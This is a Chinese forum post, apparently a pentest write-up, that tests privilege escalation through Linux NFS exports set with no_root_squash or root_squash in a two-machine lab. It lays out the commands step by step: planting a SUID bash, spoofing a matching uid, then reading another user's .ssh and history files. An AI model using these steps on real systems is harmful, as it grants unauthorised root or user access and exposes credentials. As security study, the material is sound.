首页
社区
课程
招聘
[原创] Linux NFS 提权
发表于: 2017-11-3 00:05 4305

[原创] Linux NFS 提权

2017-11-3 00:05
4305
阅读了一篇利用NFS提权的文章  ->戳我<- , 觉得不错测试、记录、拓展之。文章主要写了利用不安全的NFS配置可以提升权限到root, 本文就参考这篇文章进行测试 + 拓展利用.
本文假设读者有一些关于Linux权限和NFS服务的基础知识, 若不了解可以参考: c50K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4F1i4K6u0W2L8r3W2F1N6i4S2Q4x3X3g2$3j5X3W2J5k6q4)9J5k6h3!0J5k6#2)9J5c8X3I4A6L8Y4g2^5i4K6g2X3M7$3g2J5N6X3g2J5i4K6u0r3x3o6x3K6x3r3&6X3M7#2)9J5k6i4m8Z5M7l9`.`.
【由于种种原因...其实就是懒. 我就不截图了. 如本文有任何错误的地方或者大佬们有什么建议请多多指出,感激不尽】 
0x00. 测试
测试环境
  • 目标机: CentOS release 6.8 【IP: 192.168.1.10】
    • 安装nfs服务  yum install nfs-utils

    • 设置nfs配置文件  vim /etc/exports 内容如下

    • /tmp *(rw,no_root_squash)

    • 开启rpcbind服务  service rpcbind start

    • 开启nfs服务  service nfs start

    • 低权限账户: nouser

  • 攻击机: Ubuntu 16.04.2 LTS 【IP: 192.168.1.15】
    • 安装需要的包  apt-get install nfs-common

    • 创建目录用于挂载nfs共享目录  mkdir /tmp/mountdemo/

    • 挂载nfs共享目录  mount -t nfs 192.168.1.10:/tmp /tmp/mountdemo/

    • 用户: root

  • 利用方法: 

    在攻击机上cd /tmp/mountdemo/ , 这时候可以cp /bin/bash .复制一个bash到nfs共享目录, 但是由于不同的系统发行版, 会导致错误, 所以这里我是在目标机上以低权限用户"nouser"  cp了一份bash到nfs共享目录, 然后在攻击机上执行chown root:root bash && chmod +s bash 最后回到目标机上的执行/tmp/bash -p就可以从nouser提升到root权限

简单说下原因, 因为深入的我也不太懂了, 主要问题是出现在了nfs配置文件 /etc/exports 的 no_root_squash上, 这个参数意味着, 在客户端以root权限操作nfs目录时, 那么对应的服务端的权限也一样是root. 也就是说在客户端以root权限在nfs共享目录创建一个文件test, 在服务端上这个文件的所有者一样是root。 所以利用这一点, 通过创建一个具有root suid权限的bash文件就可以实现权限提升到root。 

0x01. 拓展
前面提到造成root提权的原因是 no_root_squash这个参数, 在nfs配置文件中这个参数也有一个相对应的参数  root_squash,  这个参数意味着 在客户端以root权限操作nfs目录时, 那么对应的服务端的权限就成了 nfsnobody.  那么如果管理员有心的话, 参数被设置为root_squash的话还能利用吗? 答案当然是可以, 但是因为不同环境的因素不一定都能提升到root权限.

因为root_squash被设置, 那我们就不能利用root了, 但是也仅仅是不能利用root, 却可以利用其它账户

同样的测试环境, 但是 /etc/exports 已经变成了
/tmp *(rw,root_squash)
# 如果没有设置no_root_squash 或者 root_squash. 则默认是root_squash模式
通过cat /etc/passwd 查看除了root用户还有其它的什么用户 比如 发现还有个用户 user1, 他对应的uid和gid是500, 用户目录是/home/user1, 为了进一步渗透, 需要读取到该用户的文件, 但是我们目前没有权限查看这个用户的文件. 这时候就可以利用NFS来提升权限到user1.  

  • 利用方法:
    在攻击机上使用如下命令创建一个uid为500 用户名是demo的 用户(用户名是什么无所谓,只要uid一样就可以了, 这里不用管gid的问题 ),
    useradd -U -u 500 -s /bin/bash demo 
    然后 su demo到 demo账户下, cd /tmp/mountdemo/ 到挂载的nfs目录下, 老样子在目标机上用低权限用户cp /bin/bash /tmp/把bash复制到nfs目录 . 然后在攻击机上 cp bash bashshell (因为不是root, 所以不能直接更改文件所有者, 所以拷贝了一个副本, 这个副本的所有者就是uid为500的用户, 如果这个时候我们ls -la bashshell 可以发现, 这里的用户名是目标机上uid为500的用户, 也就是user1)  然后赋予bashshell文件 suid权限 chmod +s bashshell  最后回到目标机上, 以低权限用户执行 /tmp/bashshell -p 看看是不是有了user1用户权限, 这时候就可以查看user1的文件了, ls -la /home/user1 、 cat /home/user1/.bash_history 、ls -la /home/user1/.ssh/  等等...

  • 可利用的账户也可以是mysql, 如果没有mysql的root用户, 就可以用这个办法获取到mysql权限, 读取mysql数据了。

  • 总之理论上可以成为除了root用户外的任何用户


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回